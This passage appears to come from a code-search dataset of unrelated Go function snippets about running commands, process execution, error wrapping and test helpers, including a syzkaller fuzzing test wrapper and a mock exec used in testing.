line, s)\n}", "func Redirect(cmd string, args []String, nArg uint32)(status syscall.Status) {\n\n\n\tstatus = altEthos.Close(syscall.Stdout)\n\tif status != syscall.StatusOk {\n\n\t\tshellStatus := String(\"Close failed\\n\")\n\t\taltEthos.WriteStream(syscall.Stdout, &shellStatus)\n\t\treturn\n\n\t}\n\n\tfd, status := altEthos.DirectoryOpen(string(args[nArg+1]))\n\tif status != syscall.StatusOk {\n\t\tshellStatus := String(\"DirectoryOpen failed\\n\")\n\t\taltEthos.WriteStream(syscall.Stderr, &shellStatus)\n\t\treturn\n\n\t}\n\n\n\t//status = altEthos.MoveFd(fd, syscall.Stdout)\n\n\t//if status != syscall.StatusOk {\n\n\t//\tshellStatus := String(\"MoveFd failed\\n\")\n\t//\taltEthos.WriteStream(fdd, &shellStatus)\n\t//\treturn\n\n\t//}\n\n\n\tWrapExec(cmd, args, nArg)\n\n\tstatus = altEthos.MoveFd(syscall.Stdout, fd)\n\tif status != syscall.StatusOk {\n\t\tshellStatus := String(\"MoveFd failed\\n\")\n\t\taltEthos.WriteStream(syscall.Stderr, &shellStatus)\n\t\treturn\n\n\t}\n\n\tstatus = altEthos.Close(fd)\n\tif status != syscall.StatusOk {\n\n\t\tshellStatus := String(\"Close failed\\n\")\n\t\taltEthos.WriteStream(syscall.Stdout, &shellStatus)\n\t\treturn\n\n\t}\n\n\treturn\n\n}", "func (ts *TaskService) Exec(requestCtx context.Context, req *taskAPI.ExecProcessRequest) (*types.Empty, error) {\n\tdefer logPanicAndDie(log.G(requestCtx))\n\n\ttaskID := req.ID\n\texecID := req.ExecID\n\n\tlogger := log.G(requestCtx).WithField(\"TaskID\", taskID).WithField(\"ExecID\", execID)\n\tlogger.Debug(\"exec\")\n\n\textraData, err := unmarshalExtraData(req.Spec)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"failed to unmarshal extra data\")\n\t}\n\n\t// Just provide runc the options it knows about, not our wrapper\n\treq.Spec = extraData.RuncOptions\n\n\tbundleDir := bundle.Dir(filepath.Join(containerRootDir, taskID))\n\n\tvar ioConnectorSet vm.IOProxy\n\n\tif vm.IsAgentOnlyIO(req.Stdout, logger) {\n\t\tioConnectorSet = vm.NewNullIOProxy()\n\t} else {\n\t\t// Override the incoming stdio FIFOs, which have paths from the host that we can't use\n\t\tfifoSet, err := cio.NewFIFOSetInDir(bundleDir.RootPath(), fifoName(taskID, execID), req.Terminal)\n\t\tif err != nil {\n\t\t\tlogger.WithError(err).Error(\"failed opening stdio FIFOs\")\n\t\t\treturn nil, errors.Wrap(err, \"failed to open stdio FIFOs\")\n\t\t}\n\n\t\tvar stdinConnectorPair *vm.IOConnectorPair\n\t\tif req.Stdin != \"\" {\n\t\t\treq.Stdin = fifoSet.Stdin\n\t\t\tstdinConnectorPair = &vm.IOConnectorPair{\n\t\t\t\tReadConnector: vm.VSockAcceptConnector(extraData.StdinPort),\n\t\t\t\tWriteConnector: vm.FIFOConnector(fifoSet.Stdin),\n\t\t\t}\n\t\t}\n\n\t\tvar stdoutConnectorPair *vm.IOConnectorPair\n\t\tif req.Stdout != \"\" {\n\t\t\treq.Stdout = fifoSet.Stdout\n\t\t\tstdoutConnectorPair = &vm.IOConnectorPair{\n\t\t\t\tReadConnector: vm.FIFOConnector(fifoSet.Stdout),\n\t\t\t\tWriteConnector: vm.VSockAcceptConnector(extraData.StdoutPort),\n\t\t\t}\n\t\t}\n\n\t\tvar stderrConnectorPair *vm.IOConnectorPair\n\t\tif req.Stderr != \"\" {\n\t\t\treq.Stderr = fifoSet.Stderr\n\t\t\tstderrConnectorPair = &vm.IOConnectorPair{\n\t\t\t\tReadConnector: vm.FIFOConnector(fifoSet.Stderr),\n\t\t\t\tWriteConnector: vm.VSockAcceptConnector(extraData.StderrPort),\n\t\t\t}\n\t\t}\n\n\t\tioConnectorSet = vm.NewIOConnectorProxy(stdinConnectorPair, stdoutConnectorPair, stderrConnectorPair)\n\t}\n\n\tresp, err := ts.taskManager.ExecProcess(requestCtx, req, ts.runcService, ioConnectorSet)\n\tif err != nil {\n\t\tlogger.WithError(err).Error(\"exec failed\")\n\t\treturn nil, err\n\t}\n\n\tlogger.Debug(\"exec succeeded\")\n\treturn resp, nil\n}", "func Wrapf(err error, format string, args ...interface{}) error {\n\treturn &usererr{errors.Wrapf(err, format, args...)}\n}", "func (m *MockExec) Exec(path *string, name string, extra ...string) ([]byte, error) {\n\targs := m.Called(name, extra)\n\n\tif args.Error(1) != nil {\n\t\treturn nil, args.Error(1)\n\t}\n\treturn []byte(args.String(0)), nil\n}", "func verifyPathIsSafeForExec(execPath string) (string, error) {\n\tif unsafe, err := regexp.MatchString(ExecPathBlackListRegex, execPath); err != nil {\n\t\treturn \"\", err\n\t} else if unsafe {\n\t\treturn \"\", fmt.Errorf(\"Unsafe execution path: %q \", execPath)\n\t} else if _, statErr := os.Stat(execPath); statErr != nil {\n\t\treturn \"\", statErr\n\t}\n\n\treturn execPath, nil\n}", "func (f *Failer) runWithEvilTag(host, script string) error {\n\treturn f.runScript(host, script, evilEnv)\n}", "func Main() {\n\tif *flagSysOpenRead != \"\" {\n\t\tmainSysOpenRead(*flagSysOpenRead)\n\t\tpanic(0)\n\t}\n\tif *flagSysOpenWrite != \"\" {\n\t\tmainSysOpenWrite(*flagSysOpenWrite)\n\t\tpanic(0)\n\t}\n}", "func External() func(cmd *Command) error {\n\treturn func(cmd *Command) error {\n\t\tcmdName := appName() + \"-\" + cmd.Name\n\t\tpath := filepath.Join(cmd.Path, cmdName)\n\t\tc := exec.Command(path, rawCmdArgs)\n\t\tout, err := c.Output()\n\t\tfmt.Println(string(out))\n\t\tif err != nil {\n\t\t\texitErr, ok := err.(*exec.ExitError)\n\t\t\tif ok {\n\t\t\t\terrPrintln(string(exitErr.Stderr))\n\t\t\t} else {\n\t\t\t\terrPrintln(err)\n\t\t\t}\n\t\t}\n\n\t\treturn err\n\t}\n}", "func init() {\n\tif os.Getenv(execEnvVar) != execEnvVar {\n\t\treturn\n\t}\n\n\tlog.SetFlags(0)\n\n\terrPipe := os.NewFile(uintptr(errPipeFd), \"pipe\")\n\tif errPipe == nil {\n\t\tlog.Fatal(\"pipe not found\")\n\t}\n\n\tif err := setResourceLimits(); err != nil {\n\t\twriteAndDie(errPipe, err)\n\t}\n\n\t// TODO: drop privileges\n\n\tunsetCustomEnvVars()\n\n\tif len(os.Args) < 2 {\n\t\twriteAndDie(errPipe, errNotEnoughArgs)\n\t}\n\n\texecPath, err := exec.LookPath(os.Args[1])\n\tif err != nil {\n\t\twriteAndDie(errPipe, err)\n\t}\n\n\tunix.CloseOnExec(errPipeFd)\n\tif err := unix.Exec(execPath, os.Args[1:], os.Environ()); err != nil {\n\t\twriteAndDie(errPipe, err)\n\t}\n}", "func execmCheckerFiles(_ int, p *gop.Context) {\n\targs := p.GetArgs(2)\n\tret := args[0].(*types.Checker).Files(args[1].([]*ast.File))\n\tp.Ret(2, ret)\n}", "func ExecWithoutErrorLogging(action NoErrorsLoggingAction) {\n\t// this is racy... I feel ashamed.\n\toriginal := globalErrorLoggingEnabled\n\tglobalErrorLoggingEnabled = false\n\taction()\n\tglobalErrorLoggingEnabled = original\n}", "func SysErr(cli string, args ...string) (string, error) {\n\tre := regexp.MustCompile(`[\\r\\t\\n\\f ]+`)\n\ta := strings.Split(re.ReplaceAllString(cli, \" \"), \" \")\n\tparams := args\n\tif len(a) > 1 {\n\t\tparams = append(a[1:], args...)\n\t}\n\texe := strings.TrimPrefix(a[0], \"@\")\n\tsilent := strings.HasPrefix(a[0], \"@\")\n\tif *DryRunFlag {\n\t\tif len(params) > 0 {\n\t\t\tfmt.Printf(\"%s %s\\n\", exe, strings.Join(params, \" \"))\n\t\t} else {\n\t\t\tfmt.Println(exe)\n\t\t}\n\t\tres := DryRunPop()\n\t\tif strings.HasPrefix(res, \"!\") {\n\t\t\treturn \"\", errors.New(res[1:])\n\t\t}\n\t\treturn res, nil\n\t}\n\n\tlog.Tracef(\"< %s %v\\n\", exe, params)\n\tcmd := exec.Command(exe, params...)\n\tout, err := cmd.CombinedOutput()\n\tres := string(out)\n\tif err != nil {\n\t\tlog.Tracef(\"> ERROR: %s\", err.Error())\n\t\treturn \"\", err\n\t}\n\tlog.Tracef(\"> %s\", res)\n\tif !silent {\n\t\tfmt.Printf(res)\n\t}\n\treturn res, nil\n}", "func main() {\n\tcommand := os.Args[1]\n\tswitch command {\n\tcase \"run\":\n\t\trun()\n\tcase \"child\":\n\t\tchild()\n\tdefault:\n\t\tpanic(\"wat should I do with \" + command)\n\t}\n}", "func newSimpleExec(code int, err error) simpleExec {\n\treturn simpleExec{code: code, err: err}\n}", "func run(name string, arg ...string) (string, error) {\n\tstdout, stderr, err := exe(name, arg...)\n\n\tif err != nil && stderr != \"\" {\n\t\treturn stdout, errors.New(stderr)\n\t}\n\treturn stdout, err\n}", "func (t *targetrunner) runFSKeeper(filepath string) {\n\tif ctx.config.FSKeeper.Enabled {\n\t\tgetFSKeeper().onerr(filepath)\n\t}\n}", "func Run(fn func() error) {\n\tif err := fn(); err != nil && err != context.Canceled {\n\t\tfmt.Fprintf(os.Stderr, \"%+v\\n\", err)\n\t\tos.Exit(1)\n\t}\n}", "func mainerr() (retErr error) {\n\tfs := flag.NewFlagSet(os.Args[0], flag.ContinueOnError)\n\tfs.Usage = func() {\n\t\tmainUsage(os.Stderr)\n\t}\n\tif err := fs.Parse(os.Args[1:]); err != nil {\n\t\treturn err\n\t}\n\n\tif len(fs.Args()) == 0 {\n\t\treturn fmt.Errorf(\"consttofile takes at least one argument\")\n\t}\n\n\tenvPkg := os.Getenv(\"GOPACKAGE\")\n\n\tconfig := &packages.Config{\n\t\tMode: packages.LoadSyntax,\n\t\tFset: token.NewFileSet(),\n\t\tTests: true,\n\t}\n\n\tpkgs, err := packages.Load(config, \".\")\n\tif err != nil {\n\t\treturn fmt.Errorf(\"could not load package from current dir: %v\", err)\n\t}\n\n\tforTest := regexp.MustCompile(` \\[[^\\]]+\\]$`)\n\n\ttestPkgs := make(map[string]*packages.Package)\n\tvar nonTestPkg *packages.Package\n\n\t// Becase of https://github.com/golang/go/issues/27910 we have to\n\t// apply some janky logic to find the \"right\" package\n\tfor _, p := range pkgs {\n\t\tswitch {\n\t\tcase strings.HasSuffix(p.PkgPath, \".test\"):\n\t\t\t// we don't ever want this package\n\t\t\tcontinue\n\t\tcase forTest.MatchString(p.ID):\n\t\t\ttestPkgs[p.Name] = p\n\t\tdefault:\n\t\t\tnonTestPkg = p\n\t\t}\n\t}\n\n\tids := func() []string {\n\t\tvar ids []string\n\t\tfor _, p := range pkgs {\n\t\t\tids = append(ids, p.ID)\n\t\t}\n\t\tsort.Strings(ids)\n\t\treturn ids\n\t}\n\n\tif nonTestPkg == nil {\n\t\treturn fmt.Errorf(\"always expect to have the actual package. Got %v\", ids())\n\t}\n\n\tvar pkg *packages.Package\n\n\tif strings.HasSuffix(envPkg, \"_test\") {\n\t\tif pkg = testPkgs[envPkg]; pkg == nil {\n\t\t\treturn fmt.Errorf(\"called with package name %v, but go/packages did not give us such a package. Got %v\", envPkg, ids())\n\t\t}\n\t} else {\n\t\tif pkg = testPkgs[envPkg]; pkg == nil {\n\t\t\tpkg = nonTestPkg\n\t\t}\n\t}\n\n\tfor _, cn := range fs.Args() {\n\t\tco := pkg.Types.Scope().Lookup(cn)\n\t\tif co == nil {\n\t\t\treturn fmt.Errorf(\"failed to find const %v\\n\", cn)\n\t\t}\n\n\t\tc, ok := co.(*types.Const)\n\t\tif !ok {\n\t\t\treturn fmt.Errorf(\"found %v, but it was not a const, instead it was a %T\", cn, co)\n\t\t}\n\n\t\tif c.Val().Kind() != constant.String {\n\t\t\treturn fmt.Errorf(\"expected %v to be a string constant; got %v\", cn, c.Val().Kind())\n\t\t}\n\n\t\ti := strings.LastIndex(cn, \"_\")\n\t\tif i == -1 || i == len(cn)-1 {\n\t\t\treturn fmt.Errorf(\"constant %v does not specifcy an extension\", cn)\n\t\t}\n\n\t\tfn := \"gen_\" + cn[:i] + \"_consttofile\" + \".\" + cn[i+1:]\n\n\t\tif err := ioutil.WriteFile(fn, []byte(constant.StringVal(c.Val())), 0666); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to write to %v: %v\", fn, err)\n\t\t}\n\t}\n\n\treturn nil\n}", "func Wrapf(err error, format string, args ...interface{}) error {\n\tif err == nil {\n\t\treturn nil\n\t}\n\treturn &Error{\n\t\terror: err,\n\t\tstack: callers(),\n\t\ttext: fmt.Sprintf(format, args...),\n\t\tcode: Code(err),\n\t}\n}", "func DefaultExecHook(c *gin.Context, h gin.HandlerFunc, fname string) {\n\th(c)\n}", "func run(name string, arg ...string) error {\n\treturn runInDir(\".\", name, arg...)\n}", "func (w *wrapper) Exec(ctx terminal.Context, args []string) error {\n\tif ictx, ok := ctx.(*context.Impl); ok {\n\t\treturn w.Impl.ImplExec(ictx, args)\n\t} else {\n\t\treturn errIllegalContext\n\t}\n}", "func (s *BasebrainfuckListener) ExitFile_(ctx *File_Context) {}", "func RunWith(\n\tfn func(cmd *cobra.Command, args []string) error,\n) func(cmd *cobra.Command, args []string) {\n\treturn func(cmd *cobra.Command, args []string) {\n\t\tif err := fn(cmd, args); err != nil {\n\t\t\tfmt.Fprintln(os.Stderr, err.Error())\n\t\t\tos.Exit(1)\n\t\t}\n\t}\n}", "func Wrapf(status int, err error, fmt string, args ...interface{}) error {\n\treturn Wrap(status, errors.Wrapf(err, fmt, args...))\n}", "func fakeExecCommand(executable string, args ...string) *exec.Cmd {\n\tnewArgs := []string{\"-test.run=TestHelperCommand\", \"--\", executable}\n\tnewArgs = append(newArgs, args...)\n\n\tcmd := exec.Command(os.Args[0], newArgs...)\n\tcmd.Env = []string{\"USE_HELPER_COMMAND=1\"}\n\n\tcmdToValidate := []string{executable}\n\tcmdToValidate = append(cmdToValidate, args...)\n\n\tfmt.Printf(\"### Executing command: %s\\n\", strings.Join(cmd.Args, \" \"))\n\n\tif valid := validateCommandSyntax(cmdToValidate...); !valid {\n\t\tcmd.Env = append(cmd.Env, fmt.Sprintf(\"STDERR=%s\", fmt.Sprintf(\"invalid command: %s\", strings.Join(cmdToValidate, \" \"))))\n\t\tcmd.Env = append(cmd.Env, \"EXIT_STATUS=1\")\n\t} else {\n\t\tif valid, msg := validateCommandSemanticsAndGenerateOutput(cmdToValidate...); valid {\n\t\t\tcmd.Env = append(cmd.Env, fmt.Sprintf(\"STDOUT=%s\", msg))\n\t\t\tcmd.Env = append(cmd.Env, \"EXIT_STATUS=0\")\n\t\t} else {\n\t\t\tcmd.Env = append(cmd.Env, fmt.Sprintf(\"STDERR=%s\", msg))\n\t\t\tcmd.Env = append(cmd.Env, \"EXIT_STATUS=2\")\n\t\t}\n\t}\n\treturn cmd\n}", "func runHandle(fn func() error) {\n\tif err := fn(); err != nil {\n\t\tlog.Errorf(\"An error occurred when processing a VM update: %v\\n\", err)\n\t}\n}", "func (c *RootCommand) Exec(_ io.Reader, _ io.Writer) error {\n\tpanic(\"unreachable\")\n}", "func main() {\n\texecuteReadFile()\n\tfmt.Println(\"Nunca me ejecutare\")\n}", "func getRootCmd(env map[string]string) *cobra.Command {\n\tin := runInput{}\n\troot := &cobra.Command{\n\t\tUse: \"sonolark\",\n\t\tShort: \"Sonolark is a tool which allows users to easily build scripts using the Starlark language on top of our library of useful functions including assertions, Kubernetes API access, and more.\",\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\n\t\t\tthread := &starlark.Thread{}\n\t\t\tshared.SetGoCtx(thread, context.Background())\n\n\t\t\t// Automatically start/end suite.\n\t\t\tsonobuoy.StartSuite(thread, -1)\n\t\t\tdefer sonobuoy.Done(thread)\n\n\t\t\tpredeclared, err := getLibraryFuncs(in.KubeConfigPath, env)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t_, err = starlark.ExecFile(thread, in.Filename, nil, *predeclared)\n\t\t\tif err != nil {\n\t\t\t\tif evalErr, ok := err.(*starlark.EvalError); ok {\n\t\t\t\t\tsonobuoy.FailTest(thread, evalErr.Backtrace())\n\t\t\t\t\treturn errors.New(evalErr.Backtrace())\n\t\t\t\t}\n\t\t\t\tsonobuoy.FailTest(thread, err.Error())\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn nil\n\t\t},\n\t}\n\n\troot.Flags().StringVarP(&in.Filename, \"file\", \"f\", getDefaultScriptName(env), \"The name of the script to run\")\n\troot.Flags().Var(&in.LogLevel, \"level\", \"The Log level. One of {panic, fatal, error, warn, info, debug, trace}\")\n\tif home := homedir.HomeDir(); home != \"\" {\n\t\troot.Flags().StringVar(&in.KubeConfigPath, \"kubeconfig\", filepath.Join(home, \".kube\", \"config\"), \"(optional) absolute path to the kubeconfig file\")\n\t} else {\n\t\troot.Flags().StringVar(&in.KubeConfigPath, \"kubeconfig\", \"\", \"absolute path to the kubeconfig file\")\n\t}\n\n\troot.AddCommand(NewCmdVersion())\n\treturn root\n}", "func execNew(_ int, p *gop.Context) {\n\targs := p.GetArgs(1)\n\tret := errors.New(args[0].(string))\n\tp.Ret(1, ret)\n}", "func RunFunc(fn func(io.ReadCloser, io.WriteCloser, io.WriteCloser, ...string)ExitCode) ExitCode {\n\treturn Run(HandlerFunc(fn))\n}", "func execMust(_ int, p *gop.Context) {\n\targs := p.GetArgs(2)\n\tret := template.Must(args[0].(*template.Template), args[1].(error))\n\tp.Ret(2, ret)\n}", "func (c *Command) run(args []string) error {\n\terr := c.Fn(args)\n\tif cerr, ok := err.(ArgError); ok {\n\t\treturn fmt.Errorf(\"%v\\nusage: %v %v\", cerr, c.Name, c.Usage)\n\t}\n\n\treturn err\n}", "func main() {\n\n // Go requires an absolute path to the binary we want to execute, so we’ll use exec.LookPath to find it (probably /bin/ls).\n // Exec requires arguments in slice form (as apposed to one big string).\n binary, lookErr := exec.LookPath(\"ls\")\n if lookErr != nil {\n panic(lookErr)\n }\n\n args := []string{\"ls\", \"-a\", \"-l\", \"-h\"} //Exec requires arguments in slice form (as apposed to one big string). first argument should be the program name\n\n //Exec also needs a set of environment variables to use. Here we just provide our current environment.\n env := os.Environ()\n\n execErr := syscall.Exec(binary, args, env) //Here’s the actual syscall.Exec call.\n //If this call is successful, the execution of our process will end here and be replaced by the /bin/ls -a -l -h process.\n if execErr != nil {// If there is an error we’ll get a return value.\n panic(execErr)\n }\n}", "func syscall_rawSyscall(fn, a1, a2, a3 uintptr) (r1, r2, err uintptr) {\n\tlibcCall(unsafe.Pointer(abi.FuncPCABI0(syscall)), unsafe.Pointer(&fn))\n\treturn\n}", "func Wrapper(ctx context.Context, s *testing.State) {\n\td := s.DUT()\n\n\tsyzkallerTastDir, err := ioutil.TempDir(\"\", \"tast-syzkaller\")\n\tif err != nil {\n\t\ts.Fatalf(\"Unable to create tast temporary directory: %v\", err)\n\t}\n\tdefer os.RemoveAll(syzkallerTastDir)\n\n\tartifactsDir := filepath.Join(syzkallerTastDir, \"artifacts\")\n\tif err := os.Mkdir(artifactsDir, 0755); err != nil {\n\t\ts.Fatalf(\"Unable to create temp artifacts dir: %v\", err)\n\t}\n\n\t// Fetch syz-* binaries. Run syzkaller without vmlinux.\n\tif err := fetchFuzzArtifacts(ctx, d, artifactsDir); err != nil {\n\t\ts.Fatalf(\"Encountered error fetching fuzz artifacts: %v\", err)\n\t}\n\n\t// Create a syzkaller working directory.\n\tsyzkallerWorkdir := filepath.Join(syzkallerTastDir, \"workdir\")\n\tif err := os.Mkdir(syzkallerWorkdir, 0755); err != nil {\n\t\ts.Fatalf(\"Unable to create temp workdir: %v\", err)\n\t}\n\tcmd := exec.Command(\"cp\", s.DataPath(\"corpus.db\"), syzkallerWorkdir)\n\tif err := cmd.Run(); err != nil {\n\t\ts.Fatalf(\"Failed to copy seed corpus to workdir: %v\", err)\n\t}\n\n\t// Create startup script.\n\tstartupScript := filepath.Join(syzkallerTastDir, \"startup_script\")\n\tif err := ioutil.WriteFile(startupScript, []byte(startupScriptContents), 0755); err != nil {\n\t\ts.Fatalf(\"Unable to create temp configfile: %v\", err)\n\t}\n\n\t// Chmod the keyfile so that ssh connections do not fail due to\n\t// open permissions.\n\tsshKey := s.DataPath(\"testing_rsa\")\n\tif err := os.Chmod(sshKey, 0600); err != nil {\n\t\ts.Fatalf(\"Unable to chmod sshkey to 0600: %v\", err)\n\t}\n\n\t// Read enabled_syscalls.\n\tenabledSyscalls, err := loadEnabledSyscalls(s.DataPath(\"enabled_syscalls.txt\"))\n\tif err != nil {\n\t\ts.Fatalf(\"Unable to load enabled syscalls: %v\", err)\n\t}\n\ts.Logf(\"Enabled syscalls: %v\", enabledSyscalls)\n\n\t// Create syzkaller configuration file.\n\t// Generating reproducers is unlikely to work as :\n\t// [1] Corpus is not shared across two runs of the test.\n\t// [2] A test is run for a short duration(10 minutes).\n\t// Hence, set Reproduce:false.\n\tconfig := syzkallerConfig{\n\t\tName: \"syzkaller_tast\",\n\t\tTarget: \"linux/amd64\",\n\t\tReproduce: false,\n\t\tHTTP: \"localhost:56700\",\n\t\tWorkdir: syzkallerWorkdir,\n\t\tSyzkaller: artifactsDir,\n\t\tType: \"isolated\",\n\t\tSSHKey: sshKey,\n\t\tProcs: 10,\n\t\tDUTConfig: dutConfig{\n\t\t\tTargets: []string{d.HostName()},\n\t\t\tTargetDir: \"/tmp\",\n\t\t\tTargetReboot: true,\n\t\t\tStartupScript: startupScript,\n\t\t},\n\t\tEnableSyscalls: enabledSyscalls,\n\t}\n\n\tconfigFile, err := os.Create(filepath.Join(syzkallerTastDir, \"config\"))\n\tif err != nil {\n\t\ts.Fatalf(\"Unable to create syzkaller configfile: %v\", err)\n\t}\n\tdefer configFile.Close()\n\n\tif err := json.NewEncoder(configFile).Encode(config); err != nil {\n\t\ts.Fatalf(\"Invalid syzkaller configuration: %v\", err)\n\t}\n\n\tlogFile, err := os.Create(filepath.Join(syzkallerTastDir, \"logfile\"))\n\tif err != nil {\n\t\ts.Fatalf(\"Unable to create temp logfile: %v\", err)\n\t}\n\tdefer logFile.Close()\n\n\t// Ensure that system logs(related to tests that might have run earlier)\n\t// are flushed to disk.\n\trcmd := d.Conn().Command(\"sync\")\n\tif err := rcmd.Run(ctx); err != nil {\n\t\ts.Fatalf(\"Unable to flush cached content to disk: %v\", err)\n\t}\n\n\ts.Logf(\"Starting syzkaller with logfile at %v\", logFile.Name())\n\tsyzManager := filepath.Join(artifactsDir, \"syz-manager\")\n\tmanagerCmd := testexec.CommandContext(ctx, syzManager, \"-config\", configFile.Name(), \"-vv\", \"10\")\n\tmanagerCmd.Stdout = logFile\n\tmanagerCmd.Stderr = logFile\n\n\tif err := managerCmd.Start(); err != nil {\n\t\ts.Fatalf(\"Running syz-manager failed: %v\", err)\n\t}\n\n\t// Gracefully shut down syzkaller.\n\tfunc() {\n\t\tdefer managerCmd.Wait()\n\n\t\tif err := testing.Sleep(ctx, syzkallerRunDuration); err != nil {\n\t\t\tmanagerCmd.Kill()\n\t\t\ts.Fatalf(\"Failed to wait on syz-manager: %v\", err)\n\t\t}\n\n\t\tmanagerCmd.Process.Signal(os.Interrupt)\n\t}()\n\n\t// Copy the syzkaller stdout/stderr logfile and the working directory\n\t// as part of the tast results directory.\n\ttastResultsDir := s.OutDir()\n\ts.Log(\"Copying syzkaller workdir to tast results directory\")\n\tcmd = exec.Command(\"cp\", \"-r\", syzkallerWorkdir, tastResultsDir)\n\tif err := cmd.Run(); err != nil {\n\t\ts.Fatalf(\"Failed to copy syzkaller workdir: %v\", err)\n\t}\n\ts.Log(\"Copying syzkaller logfile to tast results directory\")\n\tcmd = exec.Command(\"cp\", logFile.Name(), tastResultsDir)\n\tif err := cmd.Run(); err != nil {\n\t\ts.Fatalf(\"Failed to copy syzkaller logfile: %v\", err)\n\t}\n\n\ts.Log(\"Done fuzzing, exiting.\")\n}", "func normalizeScript(params *data.Map, reserved data.Map) (string, fail.Error) {\n\tvar (\n\t\terr error\n\t\ttmplContent string\n\t)\n\n\t// Configures BashLibrary template var\n\tbashLibraryDefinition, xerr := system.BuildBashLibraryDefinition()\n\txerr = debug.InjectPlannedFail(xerr)\n\tif xerr != nil {\n\t\treturn \"\", xerr\n\t}\n\n\tbashLibraryVariables, xerr := bashLibraryDefinition.ToMap()\n\tif xerr != nil {\n\t\treturn \"\", xerr\n\t}\n\n\tfor k, v := range reserved {\n\t\t(*params)[k] = v\n\t}\n\tfor k, v := range bashLibraryVariables {\n\t\t(*params)[k] = v\n\t}\n\n\tanon := featureScriptTemplate.Load()\n\tif anon == nil {\n\t\tif suffixCandidate := os.Getenv(\"SAFESCALE_SCRIPTS_FAIL_FAST\"); suffixCandidate != \"\" {\n\t\t\ttmplContent = strings.Replace(featureScriptTemplateContent, \"set -u -o pipefail\", \"set -Eeuxo pipefail\", 1)\n\t\t} else {\n\t\t\ttmplContent = featureScriptTemplateContent\n\t\t}\n\n\t\t// parse then execute the template\n\t\ttmpl := fmt.Sprintf(tmplContent, utils.LogFolder, utils.LogFolder, utils.LogFolder)\n\t\tr, xerr := template.Parse(\"normalize_script\", tmpl)\n\t\txerr = debug.InjectPlannedFail(xerr)\n\t\tif xerr != nil {\n\t\t\treturn \"\", fail.SyntaxError(\"error parsing bash template: %s\", xerr.Error())\n\t\t}\n\n\t\t// Set template to generate error if there is missing key in params during Execute\n\t\tr = r.Option(\"missingkey=error\")\n\t\tfeatureScriptTemplate.Store(r)\n\t\tanon = featureScriptTemplate.Load()\n\t}\n\n\tdataBuffer := bytes.NewBufferString(\"\")\n\terr = anon.(*txttmpl.Template).Execute(dataBuffer, *params)\n\terr = debug.InjectPlannedError(err)\n\tif err != nil {\n\t\treturn \"\", fail.ConvertError(err)\n\t}\n\n\treturn dataBuffer.String(), nil\n}", "func syscall_rawSyscall10X(fn, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10 uintptr) (r1, r2, err uintptr) {\n\tlibcCall(unsafe.Pointer(abi.FuncPCABI0(syscall10X)), unsafe.Pointer(&fn))\n\treturn\n}", "func (ctx *Context) ExecWithErr(cmd []string) (*ExecResult, error) {\n\treturn ctx.ExecWithErrWithParams(ExecParams{Cmd: cmd})\n}", "func (s *BaseredcodeListener) ExitFile_(ctx *File_Context) {}", "func codegenError(str string, args ...interface{}) value.Value {\n\tfmt.Fprintf(os.Stderr, \"Error: %s\\n\", fmt.Sprintf(str, args...))\n\treturn nil\n}", "func main() {\n\tdefer func() {\n\t\tif r := recover(); r != nil {\n\t\t\tlog.Fatalln(\"Unexpected error:\", r)\n\t\t}\n\t}()\n\tif errMain := run(); errMain != nil {\n\t\tlog.Fatalln(errMain)\n\t}\n}", "func Errf(f string, t ...interface{}) {\n\tif !SuppressOutput {\n\t\tfmt.Fprintf(os.Stderr, f+\"\\n\", t...)\n\t}\n}", "func executingSecretsFile(secretsFilePath string, namespace string) (err error) {\n\t// execute decrypted file\n\t_ = exec.Command(\"chmod\", \"755\", secretsFilePath).Run()\n\tcmd := exec.Command(secretsFilePath)\n\tcmd.Env = append(os.Environ(),\n\t\t\"NAMESPACE=\"+namespace,\n\t)\n\toutput, err := cmd.CombinedOutput()\n\tif err != nil {\n\t\tloggingstate.AddErrorEntryAndDetails(\" -> Executing secrets file failed. See output\", string(output))\n\t\tloggingstate.AddErrorEntryAndDetails(\" -> Executing secrets file failed. See errors\", err.Error())\n\t} else {\n\t\tloggingstate.AddInfoEntryAndDetails(\" -> Executing secrets file done. See output\", string(output))\n\t}\n\n\treturn err\n}", "func main() {\n\tif err := realMain(); err != nil {\n\t\tlog.Fatal(err)\n\t}\n}", "func runDetectErr(name string, args ...string) error {\n\tcmd := exec.Command(name, args...)\n\terrReader, err := cmd.StderrPipe()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = cmd.Start()\n\tif err == nil {\n\t\terrString := readCapped(errReader)\n\t\tif len(errString) > 0 {\n\t\t\tre := regexp.MustCompile(`\\r?\\n`)\n\t\t\terr = errors.New(re.ReplaceAllString(errString, \": \"))\n\t\t}\n\t}\n\n\tif werr := cmd.Wait(); werr != nil {\n\t\terr = werr\n\t}\n\n\treturn err\n}", "func (s *BaseGraffleParserListener) ExitBuiltin_function_call(ctx *Builtin_function_callContext) {}", "func (cx *Context) ExecFile(filename string) (err error) {\n\tf, err := os.Open(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\treturn cx.execFrom(f, filename)\n}", "func handlerWrapper(f func(w http.ResponseWriter, r *http.Request)) func(w http.ResponseWriter, r *http.Request) {\n\thandler := panicRecover(f)\n\thandler = stopwatch(handler)\n\thandler = i18nLoad(handler)\n\n\treturn handler\n}", "func (s *BasearithmeticListener) ExitFile_(ctx *File_Context) {}", "func TestAlluxioFileUtils_IsExist(t *testing.T) {\n\n\tmockExec := func(p1, p2, p3 string, p4 []string) (stdout string, stderr string, e error) {\n\n\t\tif strings.Contains(p4[3], NOT_EXIST) {\n\t\t\treturn \"does not exist\", \"\", errors.New(\"does not exist\")\n\n\t\t} else if strings.Contains(p4[3], OTHER_ERR) {\n\t\t\treturn \"\", \"\", errors.New(\"other error\")\n\t\t} else {\n\t\t\treturn \"\", \"\", nil\n\t\t}\n\t}\n\n\terr := gohook.Hook(kubeclient.ExecCommandInContainer, mockExec, nil)\n\tif err != nil {\n\t\tt.Fatal(err.Error())\n\t}\n\twrappedUnhook := func() {\n\t\terr := gohook.UnHook(kubeclient.ExecCommandInContainer)\n\t\tif err != nil {\n\t\t\tt.Fatal(err.Error())\n\t\t}\n\t}\n\tdefer wrappedUnhook()\n\n\tvar tests = []struct {\n\t\tin string\n\t\tout bool\n\t\tnoErr bool\n\t}{\n\t\t{NOT_EXIST, false, 